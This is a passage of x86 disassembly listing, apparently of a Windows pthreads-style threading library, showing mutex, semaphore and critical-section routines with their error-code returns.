eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 2811E0Eh loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27C0890h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3D0, eax nop call near ptr 27D0000h test eax, eax mov dword_50E3EC, eax jnz short loc_4312CD mov eax, dword_50E3D0 mov dword_50E3EC, offset sub_4012D0 push eax nop call near ptr 27406F0h mov dword_50E3D0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3D4 test eax, eax jz short loc_431350 mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3D80Dh, 4C48300h, 6A118Bh, 0F17AE852h, 0E8900230h dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 230F3A0h ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3D4 test eax, eax jz short loc_4313DB mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3D80Dh, 4C48300h, 6A118Bh, 0D9E89052h db 0F0h, 30h, 2 ; --------------------------------------------------------------------------- loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9A0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3E0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3D4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3D8 mov dword_50E3D4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3DC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E8E0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E920 call esi push offset dword_50E980 call esi push offset dword_50E960 call esi mov eax, dword_50E3D4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3D4 test eax, eax jz locret_431619 mov eax, dword_50E3D8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3D8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3DC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3DC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E8E0 call near ptr 7C901005h nop mov eax, dword_44573C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E8E0 nop call near ptr 7C9010EDh mov esi, dword_50F858 push offset dword_50E960 call esi push offset dword_50E980 call esi push offset dword_50E920 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E8E0 call esi mov dword_50E3D4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_50E3D8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3D8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 27702D6h push eax nop call near ptr 2740000h test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E980 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E980 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov 